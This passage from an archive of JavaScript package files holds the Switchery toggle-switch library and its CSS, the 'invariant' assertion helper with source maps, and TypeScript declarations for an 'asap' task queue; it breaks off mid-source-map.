this.removeMatching(name)}if(this.list){this.list.remove(name);return this}var arr=this.array();var i=index(arr,name);if(~i)arr.splice(i,1);this.el.className=arr.join(" ");return this};ClassList.prototype.removeMatching=function(re){var arr=this.array();for(var i=0;i<arr.length;i++){if(re.test(arr[i])){this.remove(arr[i])}}return this};ClassList.prototype.toggle=function(name,force){if(this.list){if("undefined"!==typeof force){if(force!==this.list.toggle(name,force)){this.list.toggle(name)}}else{this.list.toggle(name)}return this}if("undefined"!==typeof force){if(!force){this.remove(name)}else{this.add(name)}}else{if(this.has(name)){this.remove(name)}else{this.add(name)}}return this};ClassList.prototype.array=function(){var str=this.el.className.replace(/^\s+|\s+$/g,"");var arr=str.split(re);if(""===arr[0])arr.shift();return arr};ClassList.prototype.has=ClassList.prototype.contains=function(name){return this.list?this.list.contains(name):!!~index(this.array(),name)}});require.register("component~event@0.1.4",function(exports,module){var bind=window.addEventListener?"addEventListener":"attachEvent",unbind=window.removeEventListener?"removeEventListener":"detachEvent",prefix=bind!=="addEventListener"?"on":"";exports.bind=function(el,type,fn,capture){el[bind](prefix+type,fn,capture||false);return fn};exports.unbind=function(el,type,fn,capture){el[unbind](prefix+type,fn,capture||false);return fn}});require.register("component~query@0.0.3",function(exports,module){function one(selector,el){return el.querySelector(selector)}exports=module.exports=function(selector,el){el=el||document;return one(selector,el)};exports.all=function(selector,el){el=el||document;return el.querySelectorAll(selector)};exports.engine=function(obj){if(!obj.one)throw new Error(".one callback required");if(!obj.all)throw new Error(".all callback required");one=obj.one;exports.all=obj.all;return exports}});require.register("component~matches-selector@0.1.6",function(exports,module){try{var query=require("component~query@0.0.3")}catch(err){var query=require("component~query@0.0.3")}var proto=Element.prototype;var vendor=proto.matches||proto.webkitMatchesSelector||proto.mozMatchesSelector||proto.msMatchesSelector||proto.oMatchesSelector;module.exports=match;function match(el,selector){if(!el||el.nodeType!==1)return false;if(vendor)return vendor.call(el,selector);var nodes=query.all(selector,el.parentNode);for(var i=0;i<nodes.length;++i){if(nodes[i]==el)return true}return false}});require.register("component~closest@1.0.1",function(exports,module){try{var matches=require("component~matches-selector@0.1.6")}catch(err){var matches=require("component~matches-selector@0.1.6")}module.exports=closest;function closest(el,selector,scope){scope=scope||document.documentElement;while(el&&el!==scope){if(matches(el,selector))return el;el=el.parentNode}return matches(el,selector)?el:null}});require.register("component~delegate@0.2.3",function(exports,module){var closest=require("component~closest@1.0.1"),event=require("component~event@0.1.4");exports.bind=function(el,selector,type,fn,capture){return event.bind(el,type,function(e){var target=e.target||e.srcElement;e.delegateTarget=closest(target,selector,true,el);if(e.delegateTarget)fn.call(el,e)},capture)};exports.unbind=function(el,type,fn,capture){event.unbind(el,type,fn,capture)}});require.register("component~events@1.0.9",function(exports,module){var events=require("component~event@0.1.4");var delegate=require("component~delegate@0.2.3");module.exports=Events;function Events(el,obj){if(!(this instanceof Events))return new Events(el,obj);if(!el)throw new Error("element required");if(!obj)throw new Error("object required");this.el=el;this.obj=obj;this._events={}}Events.prototype.sub=function(event,method,cb){this._events[event]=this._events[event]||{};this._events[event][method]=cb};Events.prototype.bind=function(event,method){var e=parse(event);var el=this.el;var obj=this.obj;var name=e.name;var method=method||"on"+name;var args=[].slice.call(arguments,2);function cb(){var a=[].slice.call(arguments).concat(args);obj[method].apply(obj,a)}if(e.selector){cb=delegate.bind(el,e.selector,name,cb)}else{events.bind(el,name,cb)}this.sub(name,method,cb);return cb};Events.prototype.unbind=function(event,method){if(0==arguments.length)return this.unbindAll();if(1==arguments.length)return this.unbindAllOf(event);var bindings=this._events[event];if(!bindings)return;var cb=bindings[method];if(!cb)return;events.unbind(this.el,event,cb)};Events.prototype.unbindAll=function(){for(var event in this._events){this.unbindAllOf(event)}};Events.prototype.unbindAllOf=function(event){var bindings=this._events[event];if(!bindings)return;for(var method in bindings){this.unbind(event,method)}};function parse(event){var parts=event.split(/ +/);return{name:parts.shift(),selector:parts.join(" ")}}});require.register("switchery",function(exports,module){var transitionize=require("abpetkov~transitionize@0.0.3"),fastclick=require("ftlabs~fastclick@v0.6.11"),classes=require("component~classes@1.2.1"),events=require("component~events@1.0.9");module.exports=Switchery;var defaults={color:"#64bd63",secondaryColor:"#dfdfdf",jackColor:"#fff",jackSecondaryColor:null,className:"switchery",disabled:false,disabledOpacity:.5,speed:"0.4s",size:"default"};function Switchery(element,options){if(!(this instanceof Switchery))return new Switchery(element,options);this.element=element;this.options=options||{};for(var i in defaults){if(this.options[i]==null){this.options[i]=defaults[i]}}if(this.element!=null&&this.element.type=="checkbox")this.init();if(this.isDisabled()===true)this.disable()}Switchery.prototype.hide=function(){this.element.style.display="none"};Switchery.prototype.show=function(){var switcher=this.create();this.insertAfter(this.element,switcher)};Switchery.prototype.create=function(){this.switcher=document.createElement("span");this.jack=document.createElement("small");this.switcher.appendChild(this.jack);this.switcher.className=this.options.className;this.events=events(this.switcher,this);return this.switcher};Switchery.prototype.insertAfter=function(reference,target){reference.parentNode.insertBefore(target,reference.nextSibling)};Switchery.prototype.setPosition=function(clicked){var checked=this.isChecked(),switcher=this.switcher,jack=this.jack;if(clicked&&checked)checked=false;else if(clicked&&!checked)checked=true;if(checked===true){this.element.checked=true;if(window.getComputedStyle)jack.style.left=parseInt(window.getComputedStyle(switcher).width)-parseInt(window.getComputedStyle(jack).width)+"px";else jack.style.left=parseInt(switcher.currentStyle["width"])-parseInt(jack.currentStyle["width"])+"px";if(this.options.color)this.colorize();this.setSpeed()}else{jack.style.left=0;this.element.checked=false;this.switcher.style.boxShadow="inset 0 0 0 0 "+this.options.secondaryColor;this.switcher.style.borderColor=this.options.secondaryColor;this.switcher.style.backgroundColor=this.options.secondaryColor!==defaults.secondaryColor?this.options.secondaryColor:"#fff";this.jack.style.backgroundColor=this.options.jackSecondaryColor!==this.options.jackColor?this.options.jackSecondaryColor:this.options.jackColor;this.setSpeed()}};Switchery.prototype.setSpeed=function(){var switcherProp={},jackProp={"background-color":this.options.speed,left:this.options.speed.replace(/[a-z]/,"")/2+"s"};if(this.isChecked()){switcherProp={border:this.options.speed,"box-shadow":this.options.speed,"background-color":this.options.speed.replace(/[a-z]/,"")*3+"s"}}else{switcherProp={border:this.options.speed,"box-shadow":this.options.speed}}transitionize(this.switcher,switcherProp);transitionize(this.jack,jackProp)};Switchery.prototype.setSize=function(){var small="switchery-small",normal="switchery-default",large="switchery-large";switch(this.options.size){case"small":classes(this.switcher).add(small);break;case"large":classes(this.switcher).add(large);break;default:classes(this.switcher).add(normal);break}};Switchery.prototype.colorize=function(){var switcherHeight=this.switcher.offsetHeight/2;this.switcher.style.backgroundColor=this.options.color;this.switcher.style.borderColor=this.options.color;this.switcher.style.boxShadow="inset 0 0 0 "+switcherHeight+"px "+this.options.color;this.jack.style.backgroundColor=this.options.jackColor};Switchery.prototype.handleOnchange=function(state){if(document.dispatchEvent){var event=document.createEvent("HTMLEvents");event.initEvent("change",true,true);this.element.dispatchEvent(event)}else{this.element.fireEvent("onchange")}};Switchery.prototype.handleChange=function(){var self=this,el=this.element;if(el.addEventListener){el.addEventListener("change",function(){self.setPosition()})}else{el.attachEvent("onchange",function(){self.setPosition()})}};Switchery.prototype.handleClick=function(){var switcher=this.switcher;fastclick=fastclick.bind(this);fastclick(switcher);this.events.bind("click","bindClick")};Switchery.prototype.bindClick=function(){var parent=this.element.parentNode.tagName.toLowerCase(),labelParent=parent==="label"?false:true;this.setPosition(labelParent);this.handleOnchange(this.element.checked)};Switchery.prototype.markAsSwitched=function(){this.element.setAttribute("data-switchery",true)};Switchery.prototype.markedAsSwitched=function(){return this.element.getAttribute("data-switchery")};Switchery.prototype.init=function(){this.hide();this.show();this.setSize();this.setPosition();this.markAsSwitched();this.handleChange();this.handleClick()};Switchery.prototype.isChecked=function(){return this.element.checked};Switchery.prototype.isDisabled=function(){return this.options.disabled||this.element.disabled||this.element.readOnly};Switchery.prototype.destroy=function(){this.events.unbind()};Switchery.prototype.enable=function(){if(!this.options.disabled)return;if(this.options.disabled)this.options.disabled=false;if(this.element.disabled)this.element.disabled=false;if(this.element.readOnly)this.element.readOnly=false;this.switcher.style.opacity=1;this.events.bind("click","bindClick")};Switchery.prototype.disable=function(){if(this.options.disabled)return;if(!this.options.disabled)this.options.disabled=true;if(!this.element.disabled)this.element.disabled=true;if(!this.element.readOnly)this.element.readOnly=true;this.switcher.style.opacity=this.options.disabledOpacity;this.destroy()}});if(typeof exports=="object"){module.exports=require("switchery")}else if(typeof define=="function"&&define.amd){define("Switchery",[],function(){return require("switchery")})}else{(this||window)["Switchery"]=require("switchery")}})();switchery.min.css000064400000001252151701416170010064 0ustar00.switchery{background-color:#fff;border:1px solid #dfdfdf;border-radius:20px;cursor:pointer;display:inline-block;height:30px;position:relative;vertical-align:middle;width:50px;-moz-user-select:none;-khtml-user-select:none;-webkit-user-select:none;-ms-user-select:none;user-select:none;box-sizing:content-box;background-clip:content-box}.switchery>small{background:#fff;border-radius:100%;box-shadow:0 1px 3px rgba(0,0,0,0.4);height:30px;position:absolute;top:0;width:30px}.switchery-small{border-radius:20px;height:20px;width:33px}.switchery-small>small{height:20px;width:20px}.switchery-large{border-radius:40px;height:40px;width:66px}.switchery-large>small{height:40px;width:40px}switchery.css000064400000002042151701416170007300 0ustar00/*
 *
 * Main stylesheet for Switchery.
 * http://abpetkov.github.io/switchery/
 *
 */

/* Switchery defaults. */

.switchery {
  background-color: #fff;
  border: 1px solid #dfdfdf;
  border-radius: 20px;
  cursor: pointer;
  display: inline-block;
  height: 30px;
  position: relative;
  vertical-align: middle;
  width: 50px;

  -moz-user-select: none;
  -khtml-user-select: none;
  -webkit-user-select: none;
  -ms-user-select: none;
  user-select: none;
  box-sizing: content-box;
  background-clip: content-box;
}

.switchery > small {
  background: #fff;
  border-radius: 100%;
  box-shadow: 0 1px 3px rgba(0, 0, 0, 0.4);
  height: 30px;
  position: absolute;
  top: 0;
  width: 30px;
}

/* Switchery sizes. */

.switchery-small {
  border-radius: 20px;
  height: 20px;
  width: 33px;
}

.switchery-small > small {
  height: 20px;
  width: 20px;
}

.switchery-large {
  border-radius: 40px;
  height: 40px;
  width: 66px;
}

.switchery-large > small {
  height: 40px;
  width: 40px;
}


invariant.esm.js000064400000002440151701443450007664 0ustar00/**
 * Use invariant() to assert state which your program assumes to be true.
 *
 * Provide sprintf-style format (only %s is supported) and arguments
 * to provide information about what broke and what you were
 * expecting.
 *
 * The invariant message will be stripped in production, but the invariant
 * will remain to ensure logic does not differ in production.
 */
function invariant(condition, format) {
  for (var _len = arguments.length, args = new Array(_len > 2 ? _len - 2 : 0), _key = 2; _key < _len; _key++) {
    args[_key - 2] = arguments[_key];
  }

  if (process.env.NODE_ENV !== 'production') {
    if (format === undefined) {
      throw new Error('invariant requires an error message argument');
    }
  }

  if (!condition) {
    var error;

    if (format === undefined) {
      error = new Error('Minified exception occurred; use the non-minified dev environment ' + 'for the full error message and additional helpful warnings.');
    } else {
      var argIndex = 0;
      error = new Error(format.replace(/%s/g, function () {
        return args[argIndex++];
      }));
      error.name = 'Invariant Violation';
    }

    error.framesToPop = 1; // we don't care about invariant's own frame

    throw error;
  }
}

export { invariant };
//# sourceMappingURL=invariant.esm.js.map
invariant.esm.js.map000064400000003677151701443450010455 0ustar00{"version":3,"file":"invariant.esm.js","sources":["../src/index.ts"],"sourcesContent":["/**\n * Use invariant() to assert state which your program assumes to be true.\n *\n * Provide sprintf-style format (only %s is supported) and arguments\n * to provide information about what broke and what you were\n * expecting.\n *\n * The invariant message will be stripped in production, but the invariant\n * will remain to ensure logic does not differ in production.\n */\n\nexport function invariant(condition: any, format: string, ...args: any[]) {\n  if (process.env.NODE_ENV !== 'production') {\n    if (format === undefined) {\n      throw new Error('invariant requires an error message argument');\n    }\n  }\n\n  if (!condition) {\n    let error;\n    if (format === undefined) {\n      error = new Error(\n        'Minified exception occurred; use the non-minified dev environment ' +\n          'for the full error message and additional helpful warnings.'\n      );\n    } else {\n      let argIndex = 0;\n      error = new Error(\n        format.replace(/%s/g, function() {\n          return args[argIndex++];\n        })\n      );\n      error.name = 'Invariant Violation';\n    }\n\n    (error as any).framesToPop = 1; // we don't care about invariant's own frame\n    throw error;\n  }\n}\n"],"names":["invariant","condition","format","args","process","env","NODE_ENV","undefined","Error","error","argIndex","replace","name","framesToPop"],"mappings":"AAAA;;;;;;;;;;AAWA,SAAgBA,UAAUC,WAAgBC;oCAAmBC;IAAAA;;;MACvDC,OAAO,CAACC,GAAR,CAAYC,QAAZ,KAAyB,YAA7B,EAA2C;QACrCJ,MAAM,KAAKK,SAAf,EAA0B;YAClB,IAAIC,KAAJ,CAAU,8CAAV,CAAN;;;;MAIA,CAACP,SAAL,EAAgB;QACVQ,KAAJ;;QACIP,MAAM,KAAKK,SAAf,EAA0B;MACxBE,KAAK,GAAG,IAAID,KAAJ,CACN,uEACE,6DAFI,CAAR;KADF,MAKO;UACDE,QAAQ,GAAG,CAAf;MACAD,KAAK,GAAG,IAAID,KAAJ,CACNN,MAAM,CAACS,OAAP,CAAe,KAAf,EAAsB;eACbR,IAAI,CAACO,QAAQ,EAAT,CAAX;OADF,CADM,CAAR;MAKAD,KAAK,CAACG,IAAN,GAAa,qBAAb;;;IAGDH,KAAa,CAACI,WAAd,GAA4B,CAA5B,CAjBa;;UAkBRJ,KAAN;;;;;;"}invariant.cjs.production.min.js.map000064400000003132151701443450013401 0ustar00{"version":3,"file":"invariant.cjs.production.min.js","sources":["../src/index.ts"],"sourcesContent":["/**\n * Use invariant() to assert state which your program assumes to be true.\n *\n * Provide sprintf-style format (only %s is supported) and arguments\n * to provide information about what broke and what you were\n * expecting.\n *\n * The invariant message will be stripped in production, but the invariant\n * will remain to ensure logic does not differ in production.\n */\n\nexport function invariant(condition: any, format: string, ...args: any[]) {\n  if (process.env.NODE_ENV !== 'production') {\n    if (format === undefined) {\n      throw new Error('invariant requires an error message argument');\n    }\n  }\n\n  if (!condition) {\n    let error;\n    if (format === undefined) {\n      error = new Error(\n        'Minified exception occurred; use the non-minified dev environment ' +\n          'for the full error message and additional helpful warnings.'\n      );\n    } else {\n      let argIndex = 0;\n      error = new Error(\n        format.replace(/%s/g, function() {\n          return args[argIndex++];\n        })\n      );\n      error.name = 'Invariant Violation';\n    }\n\n    (error as any).framesToPop = 1; // we don't care about invariant's own frame\n    throw error;\n  }\n}\n"],"names":["condition","format","args","error","undefined","Error","argIndex","replace","name","framesToPop"],"mappings":"wCAW0BA,EAAgBC,8BAAmBC,mCAAAA,wBAOtDF,EAAW,KACVG,UACWC,IAAXH,EACFE,EAAQ,IAAIE,MACV,qIAGG,KACDC,EAAW,GACfH,EAAQ,IAAIE,MACVJ,EAAOM,QAAQ,OAAO,kBACbL,EAAKI,UAGVE,KAAO,4BAGdL,EAAcM,YAAc,EACvBN"}invariant.cjs.production.min.js000064400000000737151701443450012635 0ustar00"use strict";exports.invariant=function(r,e){for(var n=arguments.length,i=new Array(n>2?n-2:0),o=2;o<n;o++)i[o-2]=arguments[o];if(!r){var a;if(void 0===e)a=new Error("Minified exception occurred; use the non-minified dev environment for the full error message and additional helpful warnings.");else{var t=0;(a=new Error(e.replace(/%s/g,(function(){return i[t++]})))).name="Invariant Violation"}throw a.framesToPop=1,a}};
//# sourceMappingURL=invariant.cjs.production.min.js.map
test/production.spec.d.ts000064400000000014151701443450011433 0ustar00export {};
test/development.spec.d.ts000064400000000014151701443450011567 0ustar00export {};
invariant.cjs.development.js.map000064400000003604151701443450012757 0ustar00{"version":3,"file":"invariant.cjs.development.js","sources":["../src/index.ts"],"sourcesContent":["/**\n * Use invariant() to assert state which your program assumes to be true.\n *\n * Provide sprintf-style format (only %s is supported) and arguments\n * to provide information about what broke and what you were\n * expecting.\n *\n * The invariant message will be stripped in production, but the invariant\n * will remain to ensure logic does not differ in production.\n */\n\nexport function invariant(condition: any, format: string, ...args: any[]) {\n  if (process.env.NODE_ENV !== 'production') {\n    if (format === undefined) {\n      throw new Error('invariant requires an error message argument');\n    }\n  }\n\n  if (!condition) {\n    let error;\n    if (format === undefined) {\n      error = new Error(\n        'Minified exception occurred; use the non-minified dev environment ' +\n          'for the full error message and additional helpful warnings.'\n      );\n    } else {\n      let argIndex = 0;\n      error = new Error(\n        format.replace(/%s/g, function() {\n          return args[argIndex++];\n        })\n      );\n      error.name = 'Invariant Violation';\n    }\n\n    (error as any).framesToPop = 1; // we don't care about invariant's own frame\n    throw error;\n  }\n}\n"],"names":["invariant","condition","format","args","undefined","Error","error","argIndex","replace","name","framesToPop"],"mappings":";;AAAA;;;;;;;;;;AAWA,SAAgBA,UAAUC,WAAgBC;oCAAmBC;IAAAA;;;EAChB;QACrCD,MAAM,KAAKE,SAAf,EAA0B;YAClB,IAAIC,KAAJ,CAAU,8CAAV,CAAN;;;;MAIA,CAACJ,SAAL,EAAgB;QACVK,KAAJ;;QACIJ,MAAM,KAAKE,SAAf,EAA0B;MACxBE,KAAK,GAAG,IAAID,KAAJ,CACN,uEACE,6DAFI,CAAR;KADF,MAKO;UACDE,QAAQ,GAAG,CAAf;MACAD,KAAK,GAAG,IAAID,KAAJ,CACNH,MAAM,CAACM,OAAP,CAAe,KAAf,EAAsB;eACbL,IAAI,CAACI,QAAQ,EAAT,CAAX;OADF,CADM,CAAR;MAKAD,KAAK,CAACG,IAAN,GAAa,qBAAb;;;IAGDH,KAAa,CAACI,WAAd,GAA4B,CAA5B,CAjBa;;UAkBRJ,KAAN;;;;;;"}index.d.ts000064400000000223151701443450006446 0ustar00export declare function shallowEqual<T>(objA: T, objB: T, compare?: (a: T, b: T, key?: string) => boolean | void, compareContext?: any): boolean;
invariant.cjs.development.js000064400000002431151701443450012200 0ustar00'use strict';

/**
 * Use invariant() to assert state which your program assumes to be true.
 *
 * Provide sprintf-style format (only %s is supported) and arguments
 * to provide information about what broke and what you were
 * expecting.
 *
 * The invariant message will be stripped in production, but the invariant
 * will remain to ensure logic does not differ in production.
 */
function invariant(condition, format) {
  for (var _len = arguments.length, args = new Array(_len > 2 ? _len - 2 : 0), _key = 2; _key < _len; _key++) {
    args[_key - 2] = arguments[_key];
  }

  {
    if (format === undefined) {
      throw new Error('invariant requires an error message argument');
    }
  }

  if (!condition) {
    var error;

    if (format === undefined) {
      error = new Error('Minified exception occurred; use the non-minified dev environment ' + 'for the full error message and additional helpful warnings.');
    } else {
      var argIndex = 0;
      error = new Error(format.replace(/%s/g, function () {
        return args[argIndex++];
      }));
      error.name = 'Invariant Violation';
    }

    error.framesToPop = 1; // we don't care about invariant's own frame

    throw error;
  }
}

exports.invariant = invariant;
//# sourceMappingURL=invariant.cjs.development.js.map
types/makeRequestCall.d.ts000064400000000405151701456740011575 0ustar00export declare function makeRequestCallFromTimer(callback: () => void): () => void;
export declare function makeRequestCallFromMutationObserver(callback: () => void): () => void;
export declare const makeRequestCall: typeof makeRequestCallFromMutationObserver;
types/asap.d.ts000064400000001000151701456740007427 0ustar00import type { TaskFn } from './types.js';
/**
 * Calls a task as soon as possible after returning, in its own event, with priority
 * over other events like animation, reflow, and repaint. An error thrown from an
 * event will not interrupt, nor even substantially slow down the processing of
 * other events, but will be rather postponed to a lower priority event.
 * @param {{call}} task A callable object, typically a function that takes no
 * arguments.
 */
export declare function asap(task: TaskFn): void;
types/RawTask.d.ts000064400000000376151701456740010076 0ustar00import type { TaskFn, Task } from 'types';
export declare class RawTask implements Task {
    private onError;
    private release;
    task: TaskFn | null;
    constructor(onError: (err: any) => void, release: (t: RawTask) => void);
    call(): void;
}
types/AsapQueue.d.ts000064400000000550151701456740010405 0ustar00import type { Task } from './types.js';
export declare class AsapQueue {
    private queue;
    private pendingErrors;
    private flushing;
    private requestFlush;
    private requestErrorThrow;
    private index;
    private capacity;
    constructor();
    enqueueTask(task: Task): void;
    private flush;
    registerPendingError: (err: any) => void;
}
types/TaskFactory.d.ts000064400000000313151701456740010743 0ustar00import type { Task } from './types.js';
export declare class TaskFactory {
    private onError;
    private freeTasks;
    constructor(onError: (err: any) => void);
    create(task: () => void): Task;
}
types/index.d.ts000064400000000171151701456740007622 0ustar00export * from './asap.js';
export * from './types.js';
export * from './AsapQueue.js';
export * from './TaskFactory.js';
types/types.d.ts000064400000000125151701456740007656 0ustar00export interface Task {
    call(): void;
}
export declare type TaskFn = () => void;
cjs/AsapQueue.js.map000064400000024615151701456740010350 0ustar00{"version":3,"sources":["../../src/AsapQueue.ts"],"sourcesContent":["/* eslint-disable no-restricted-globals, @typescript-eslint/ban-ts-comment, @typescript-eslint/no-unused-vars, @typescript-eslint/no-non-null-assertion */\nimport type { Task } from './types.js'\nimport { makeRequestCall, makeRequestCallFromTimer } from './makeRequestCall.js'\n\nexport class AsapQueue {\n\tprivate queue: Task[] = []\n\t// We queue errors to ensure they are thrown in right order (FIFO).\n\t// Array-as-queue is good enough here, since we are just dealing with exceptions.\n\tprivate pendingErrors: any[] = []\n\t// Once a flush has been requested, no further calls to `requestFlush` are\n\t// necessary until the next `flush` completes.\n\t// @ts-ignore\n\tprivate flushing = false\n\t// `requestFlush` is an implementation-specific method that attempts to kick\n\t// off a `flush` event as quickly as possible. `flush` will attempt to exhaust\n\t// the event queue before yielding to the browser's own event loop.\n\tprivate requestFlush: () => void\n\n\tprivate requestErrorThrow: () => void\n\t// The position of the next task to execute in the task queue. This is\n\t// preserved between calls to `flush` so that it can be resumed if\n\t// a task throws an exception.\n\tprivate index = 0\n\t// If a task schedules additional tasks recursively, the task queue can grow\n\t// unbounded. To prevent memory exhaustion, the task queue will periodically\n\t// truncate already-completed tasks.\n\tprivate capacity = 1024\n\n\tpublic constructor() {\n\t\t// `requestFlush` requests that the high priority event queue be flushed as\n\t\t// soon as possible.\n\t\t// This is useful to prevent an error thrown in a task from stalling the event\n\t\t// queue if the exception handled by Node.js’s\n\t\t// `process.on(\"uncaughtException\")` or by a domain.\n\n\t\t// `requestFlush` is implemented using a strategy based on data collected from\n\t\t// every available SauceLabs Selenium web driver worker at time of writing.\n\t\t// https://docs.google.com/spreadsheets/d/1mG-5UYGup5qxGdEMWkhP6BWCz053NUb2E1QoUTU16uA/edit#gid=783724593\n\t\tthis.requestFlush = makeRequestCall(this.flush)\n\t\tthis.requestErrorThrow = makeRequestCallFromTimer(() => {\n\t\t\t// Throw first error\n\t\t\tif (this.pendingErrors.length) {\n\t\t\t\tthrow this.pendingErrors.shift()\n\t\t\t}\n\t\t})\n\t}\n\n\t// Use the fastest means possible to execute a task in its own turn, with\n\t// priority over other events including IO, animation, reflow, and redraw\n\t// events in browsers.\n\t//\n\t// An exception thrown by a task will permanently interrupt the processing of\n\t// subsequent tasks. The higher level `asap` function ensures that if an\n\t// exception is thrown by a task, that the task queue will continue flushing as\n\t// soon as possible, but if you use `rawAsap` directly, you are responsible to\n\t// either ensure that no exceptions are thrown from your task, or to manually\n\t// call `rawAsap.requestFlush` if an exception is thrown.\n\tpublic enqueueTask(task: Task): void {\n\t\tconst { queue: q, requestFlush } = this\n\t\tif (!q.length) {\n\t\t\trequestFlush()\n\t\t\tthis.flushing = true\n\t\t}\n\t\t// Equivalent to push, but avoids a function call.\n\t\tq[q.length] = task\n\t}\n\n\t// The flush function processes all tasks that have been scheduled with\n\t// `rawAsap` unless and until one of those tasks throws an exception.\n\t// If a task throws an exception, `flush` ensures that its state will remain\n\t// consistent and will resume where it left off when called again.\n\t// However, `flush` does not make any arrangements to be called again if an\n\t// exception is thrown.\n\tprivate flush = () => {\n\t\tconst { queue: q } = this\n\t\twhile (this.index < q.length) {\n\t\t\tconst currentIndex = this.index\n\t\t\t// Advance the index before calling the task. This ensures that we will\n\t\t\t// begin flushing on the next task the task throws an error.\n\t\t\tthis.index++\n\t\t\tq[currentIndex]!.call()\n\t\t\t// Prevent leaking memory for long chains of recursive calls to `asap`.\n\t\t\t// If we call `asap` within tasks scheduled by `asap`, the queue will\n\t\t\t// grow, but to avoid an O(n) walk for every task we execute, we don't\n\t\t\t// shift tasks off the queue after they have been executed.\n\t\t\t// Instead, we periodically shift 1024 tasks off the queue.\n\t\t\tif (this.index > this.capacity) {\n\t\t\t\t// Manually shift all values starting at the index back to the\n\t\t\t\t// beginning of the queue.\n\t\t\t\tfor (\n\t\t\t\t\tlet scan = 0, newLength = q.length - this.index;\n\t\t\t\t\tscan < newLength;\n\t\t\t\t\tscan++\n\t\t\t\t) {\n\t\t\t\t\tq[scan] = q[scan + this.index]!\n\t\t\t\t}\n\t\t\t\tq.length -= this.index\n\t\t\t\tthis.index = 0\n\t\t\t}\n\t\t}\n\t\tq.length = 0\n\t\tthis.index = 0\n\t\tthis.flushing = false\n\t}\n\n\t// In a web browser, exceptions are not fatal. However, to avoid\n\t// slowing down the queue of pending tasks, we rethrow the error in a\n\t// lower priority turn.\n\tpublic registerPendingError = (err: any) => {\n\t\tthis.pendingErrors.push(err)\n\t\tthis.requestErrorThrow()\n\t}\n}\n\n// The message channel technique was discovered by Malte Ubl and was the\n// original foundation for this library.\n// http://www.nonblocking.io/2011/06/windownexttick.html\n\n// Safari 6.0.5 (at least) intermittently fails to create message ports on a\n// page's first load. Thankfully, this version of Safari supports\n// MutationObservers, so we don't need to fall back in that case.\n\n// function makeRequestCallFromMessageChannel(callback) {\n//     var channel = new MessageChannel();\n//     channel.port1.onmessage = callback;\n//     return function requestCall() {\n//         channel.port2.postMessage(0);\n//     };\n// }\n\n// For reasons explained above, we are also unable to use `setImmediate`\n// under any circumstances.\n// Even if we were, there is another bug in Internet Explorer 10.\n// It is not sufficient to assign `setImmediate` to `requestFlush` because\n// `setImmediate` must be called *by name* and therefore must be wrapped in a\n// closure.\n// Never forget.\n\n// function makeRequestCallFromSetImmediate(callback) {\n//     return function requestCall() {\n//         setImmediate(callback);\n//     };\n// }\n\n// Safari 6.0 has a problem where timers will get lost while the user is\n// scrolling. This problem does not impact ASAP because Safari 6.0 supports\n// mutation observers, so that implementation is used instead.\n// However, if we ever elect to use timers in Safari, the prevalent work-around\n// is to add a scroll event listener that calls for a flush.\n\n// `setTimeout` does not call the passed callback if the delay is less than\n// approximately 7 in web workers in Firefox 8 through 18, and sometimes not\n// even then.\n\n// This is for `asap.js` only.\n// Its name will be periodically randomized to break any code that depends on\n// // its existence.\n// rawAsap.makeRequestCallFromTimer = makeRequestCallFromTimer\n\n// ASAP was originally a nextTick shim included in Q. This was factored out\n// into this ASAP package. It was later adapted to RSVP which made further\n// amendments. These decisions, particularly to marginalize MessageChannel and\n// to capture the MutationObserver implementation in a closure, were integrated\n// back into ASAP proper.\n// https://github.com/tildeio/rsvp.js/blob/cddf7232546a9cf858524b75cde6f9edf72620a7/lib/rsvp/asap.js\n"],"names":["AsapQueue","enqueueTask","task","queue","q","requestFlush","length","flushing","pendingErrors","index","capacity","flush","currentIndex","call","scan","newLength","registerPendingError","err","push","requestErrorThrow","makeRequestCall","makeRequestCallFromTimer","shift"],"mappings":"AACA;;;;AAC0D,IAAA,kBAAsB,WAAtB,sBAAsB,CAAA;AAEzE,MAAMA,SAAS;IA2CrB,yEAAyE;IACzE,yEAAyE;IACzE,sBAAsB;IACtB,EAAE;IACF,6EAA6E;IAC7E,wEAAwE;IACxE,+EAA+E;IAC/E,8EAA8E;IAC9E,6EAA6E;IAC7E,yDAAyD;IACzD,AAAOC,WAAW,CAACC,IAAU,EAAQ;QACpC,MAAM,EAAEC,KAAK,EAAEC,CAAC,CAAA,EAAEC,YAAY,CAAA,EAAE,GAAG,IAAI;QACvC,IAAI,CAACD,CAAC,CAACE,MAAM,EAAE;YACdD,YAAY,EAAE;YACd,IAAI,CAACE,QAAQ,GAAG,IAAI;SACpB;QACD,kDAAkD;QAClDH,CAAC,CAACA,CAAC,CAACE,MAAM,CAAC,GAAGJ,IAAI;KAClB;IArCD,aAAqB;QAvBrB,KAAQC,KAAK,GAAW,EAAE,AAL3B,CAK2B;QAC1B,mEAAmE;QACnE,iFAAiF;QACjF,KAAQK,aAAa,GAAU,EAAE,AARlC,CAQkC;QACjC,0EAA0E;QAC1E,8CAA8C;QAC9C,aAAa;QACb,KAAQD,QAAQ,GAAG,KAAK,AAZzB,CAYyB;QAOxB,sEAAsE;QACtE,kEAAkE;QAClE,8BAA8B;QAC9B,KAAQE,KAAK,GAAG,CAAC,AAtBlB,CAsBkB;QACjB,4EAA4E;QAC5E,4EAA4E;QAC5E,oCAAoC;QACpC,KAAQC,QAAQ,GAAG,IAAI,AA1BxB,CA0BwB;QAyCvB,uEAAuE;QACvE,qEAAqE;QACrE,4EAA4E;QAC5E,kEAAkE;QAClE,2EAA2E;QAC3E,uBAAuB;QACvB,KAAQC,KAAK,GAAG,IAAM;YACrB,MAAM,EAAER,KAAK,EAAEC,CAAC,CAAA,EAAE,GAAG,IAAI;YACzB,MAAO,IAAI,CAACK,KAAK,GAAGL,CAAC,CAACE,MAAM,CAAE;gBAC7B,MAAMM,YAAY,GAAG,IAAI,CAACH,KAAK;gBAC/B,uEAAuE;gBACvE,4DAA4D;gBAC5D,IAAI,CAACA,KAAK,EAAE;gBACZL,CAAC,CAACQ,YAAY,CAAC,CAAEC,IAAI,EAAE;gBACvB,uEAAuE;gBACvE,qEAAqE;gBACrE,sEAAsE;gBACtE,2DAA2D;gBAC3D,2DAA2D;gBAC3D,IAAI,IAAI,CAACJ,KAAK,GAAG,IAAI,CAACC,QAAQ,EAAE;oBAC/B,8DAA8D;oBAC9D,0BAA0B;oBAC1B,IACC,IAAII,IAAI,GAAG,CAAC,EAAEC,SAAS,GAAGX,CAAC,CAACE,MAAM,GAAG,IAAI,CAACG,KAAK,EAC/CK,IAAI,GAAGC,SAAS,EAChBD,IAAI,EAAE,CACL;wBACDV,CAAC,CAACU,IAAI,CAAC,GAAGV,CAAC,CAACU,IAAI,GAAG,IAAI,CAACL,KAAK,CAA